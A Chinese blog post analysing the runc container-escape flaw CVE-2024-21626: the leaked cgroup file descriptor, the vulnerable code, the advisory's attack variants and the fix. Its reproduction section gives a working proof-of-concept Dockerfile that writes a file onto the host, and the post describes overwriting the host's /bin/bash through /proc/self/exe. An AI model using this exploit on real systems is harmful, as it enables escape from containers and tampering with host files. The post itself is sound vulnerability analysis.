本文的封面图来源于Pixiv,原作者是仓鼠_Cang

背景

在先前的《CVE-2019-5736浅析》中,我们探讨了旧版runc在处理宿主机与容器之间交互的缺陷。CVE-2024-21626也涉及到runc的处理逻辑问题。两者表现类似,但在安全模型上完全不同:前者属于「混淆代理人问题」(confused deputy problem),是runc被容器内的恶意逻辑欺骗,交出了控制权;而后者是「资源未回收」问题,runc在初始化隔离环境时,意外留下了可被容器内进程访问的文件描述符。

runc的初始化流程

在使用高层运行时启动容器时,底层的runc分为两个阶段,类似于Unix的fork()exec()

  1. 创建阶段(runc init

    宿主机调用runc create时,会fork出runc init子进程。该进程负责配置环境:通过C语言层面的nsexec进入各种Namespace,配置Cgroups资源限制,并调用pivot_root将文件系统根目录切换到容器镜像的rootfs中。

    完成准备工作后,runc init会阻塞在名为exec.fifo的命名管道上,等待宿主机的进一步指令。

  2. 启动阶段(execve

    当宿主机调用runc start,即向exec.fifo写入数据后,runc init解除阻塞。它调用execve系统调用,将自己从内存中清空,替换为用户真正在容器里运行的程序。至此,容器才真正处于运行状态。

(关于更多信息,可参见《OCI runtime: container creation flow》)

O_CLOEXEC

在Linux中,子进程会默认继承父进程的所有文件描述符。但为了防止敏感句柄在execve后泄露,在打开文件时,Linux提供了O_CLOEXEC标志,这样可以为文件打上close-on-exec标记。当进程调用execve时,内核会自动关闭所有带有该标记的文件描述符。

既然容器已经执行了pivot_root,为什么拿到句柄就能逃逸?这就涉及Linux中/proc伪文件系统的特性。

在Linux中,/proc/self/fd/目录下的数字并不是普通的符号链接,而是Magic Link。普通的符号链接解析的是纯文本路径,而Magic Link在内核的虚拟文件系统层面直接绑定了底层的文件对象。

攻击流程

runc v1.0.0-rc93版本中,为了防御由于挂载点导致的符号链接替换攻击,runc开始使用openat2系统调用来处理cgroup路径。(参见Commit 6bda460;关于更多背景信息,可参见《Mounting into mount namespaces》)

为此,runc进程会在早期打开宿主机/sys/fs/cgroup目录获取句柄,并将其传递给底层逻辑。

然而,虽然runc开发者在后续打开具体子文件时都严谨地加上了O_CLOEXEC标志,却唯独遗漏了根目录。这导致该文件描述符(通常为 FD 7)被意外保留。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// libcontainer/cgroups/fscommon/open.go
// Under Apache-2.0 license

func prepareOpenat2() error {
prepOnce.Do(func() {
// Missing unix.O_CLOEXEC flag when acquiring the cgroupfs root directory handle
fd, err := unix.Openat2(-1, cgroupfsDir, &unix.OpenHow{
Flags: unix.O_DIRECTORY | unix.O_PATH})
if err != nil {
/* ... [snip: error handling] ... */
return
}

/* ... [snip: statfs and other checks] ... */

// The leaky fd (typically FD 7) is stored in a global variable
cgroupFd = fd

/* ... */
})

return prepErr
}

func OpenFile(dir, file string, flags int) (*os.File, error) {
/* ... */
if prepareOpenat2() != nil {
return openWithSecureJoin(dir, file, flags, mode)
}

relname := reldir + "/" + file
// When opening specific sub-files using cgroupFd, unix.O_CLOEXEC is strictly applied
fd, err := unix.Openat2(cgroupFd, relname,
&unix.OpenHow{
Resolve: resolveFlags,
Flags: uint64(flags) | unix.O_CLOEXEC,
Mode: uint64(mode),
})
/* ... */
return os.NewFile(uintptr(fd), cgroupfsPrefix+relname), nil
}

不过,runc init会在execve前将标准输入输出和显式传递文件之外的其余文件描述符统一标记为O_CLOEXEC。因此,容器最终进程通常无法获取这些泄露句柄。

因此,漏洞利用的核心并非调用open("/proc/self/fd/7"),而是在runc init调用execve之前,利用它手中的句柄来偷梁换柱。官方公告中提到的几种攻击方式,本质上都是围绕这一思路展开的:

  1. 劫持工作目录

    在容器启动前,runc init会根据镜像或命令行配置,将当前工作目录切换到指定位置。据此,有如下两种方式:

    • 恶意镜像攻击(对应「Attack 1」):攻击者在制作恶意镜像时,直接将Dockerfile中的WORKDIR设置为/proc/self/fd/7/。此外,该容器中启动的进程本身就是攻击者控制的脚本。因此可通过../../../路径回溯,随即越权读写宿主机的文件。
    • 符号链接陷阱(对应「Attack 2」):攻击者在已攻陷的容器内,将某个常用目录(如/app)替换为指向/proc/self/fd/7/的软链接,静待宿主机管理员执行docker exec --workdir /app。当runc init尝试切换工作目录时,由于它仍持有指向宿主机/sys/fs/cgroup的FD 7,内核会顺着Magic Link,将物理工作目录定位在宿主机的真实文件系统中。紧接着,runc init清理文件描述符,并调用execve。虽然FD 7随之关闭,但启动的新进程继承了该工作目录。尽管启动的进程本身可能并无恶意行为,然而攻击者可以通过遍历/proc目录发现该进程,并直接访问/proc/<该进程PID>/cwd/../../../,从而窃取或篡改宿主机文件。
  2. 劫持执行程序

    攻击者也可篡改容器的启动参数,破坏结果与CVE-2019-5736如出一辙:利用/proc/self/exe覆写宿主机上的核心二进制文件。

    1. 攻击者将容器配置中需要执行的程序路径,篡改为类似/proc/self/fd/7/../../../bin/bash的形式。
    2. runc init准备执行execve后,它持有尚未被关闭的FD 7,让内核顺着Magic Link找到了宿主机物理硬盘上的/bin/bash,并将其加载执行。
    3. execve发生后,容器内执行的进程变成了宿主机的bash。此时,该进程的/proc/self/exe已经指向了宿主机真实的二进制文件。攻击者只需在容器内部以写入模式(O_WRONLY)打开/proc/self/exe,便能直接覆写宿主机的/bin/bash

    根据触发方式的不同,这种攻击同样分为两个变种:

    • 恶意镜像触发(对应「Attack 3a」):与Attack 1类似,恶意指令被硬编码在恶意镜像的启动配置中(例如["/proc/self/fd/7/../../../bin/bash", "-c", "malicious_command"])。当管理员运行docker run时,恶意指令便会被运行。
    • 内部潜伏触发(对应「Attack 3b」):与Attack 2类似,攻击者在已攻陷的容器内,将所有管理员可能调用的常规命令全部替换为指向/proc/self/fd/7/../../../bin/bash的恶意脚本。当管理员执行docker exec后,容器中的恶意脚本便能获取相应句柄。

复现

为了方便地复现漏洞,我直接使用了docker build命令。因为在处理DockerfileRUN指令时,Docker底层同样会调用runc启动临时容器,从而触发相同的逻辑。不过需要注意的是,此时泄露的句柄或有不同,在我电脑上仍为FD 7。

为了避免污染宿主机,我使用Vagrant搭建虚拟机环境,并采用Libvirt作为后端。我使用了Ubuntu 22.04(需要注意的是,openat2在Linux 5.6版本中被引入,故不能使用早于该版本的内核)。不知何故,Metarget似乎无法正确配置环境。因此我直接安装了官方的Docker包,并手动将runc降级到1.1.11版本。

查看内核及runc版本:

1
2
3
4
5
6
7
8
9
10
11
12
$ uname -r
5.15.0-91-generic
$ runc --version
runc version 1.1.11
commit: v1.1.11-0-g4bccb38c
spec: 1.0.2-dev
go: go1.20.12
libseccomp: 2.5.4
$ sudo docker info | grep runc
Runtimes: io.containerd.runc.v2 runc
Default Runtime: runc
runc version: v1.1.11-0-g4bccb38c

环境信息

查看/tmp目录,确保原先并没有相应文件。创建一个简单的Dockerfile,其中有向tmp/tomorin_was_here写入MyGO!!!!!的命令(注意这里多个../是为了确保能够回到根目录):

1
2
3
4
FROM alpine:latest
WORKDIR /proc/self/fd/7
RUN cd ../../../../../../../../ && \
echo "MyGO!!!!!" > tmp/tomorin_was_here

tmp目录及Dockerfile

随后构建镜像:

1
2
3
4
5
6
7
$ sudo docker build .
[+] Building 21.3s (7/7) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.1s
... (omitted routine image pull and setup output) ...
=> [2/3] WORKDIR /proc/self/fd/7 0.2s
=> [3/3] RUN cd ../../../../../../../../ && echo "MyGO!!!!!" > tmp/tomorin_was_here 1.1s
... (omitted exporting and manifest output) ...

再次查看/tmp目录,发现tomorin_was_here文件已被创建,并写入了预期内容:

1
2
$ cat /tmp/tomorin_was_here
MyGO!!!!!

tmp目录被写入文件

修复与后续

runc该commit中修复了该漏洞。其修改包括四点:

  • 检查getcwd语义是否返回ENOENT(实现上使用unix.Getwd以及linux.Getwd,而非os.Getwd),以确认当前工作目录确实位于容器内部。
  • runc执行execve之前,关闭所有runc内部的文件描述符。同时需要保证不会关闭Go运行时所需的关键内部文件描述符。
  • 修复了特定文件描述符的泄漏问题,如为/sys/fs/cgroup设置O_CLOEXEC标志。
  • 在执行runc init之前,将所有非标准I/O的文件描述符统一设置O_CLOEXEC标志。

先前我对docker run运行镜像十分警惕,但认为docker build应该基本上没有危险。我想,我只是在本地编译一下代码,只要不运行,肯定不会有什么问题。然而分析、复现该漏洞后,我意识到构建过程同样需要警惕。安全防线必须从「运行期」向前推进到「构建期」。为此,可以采取无特权构建。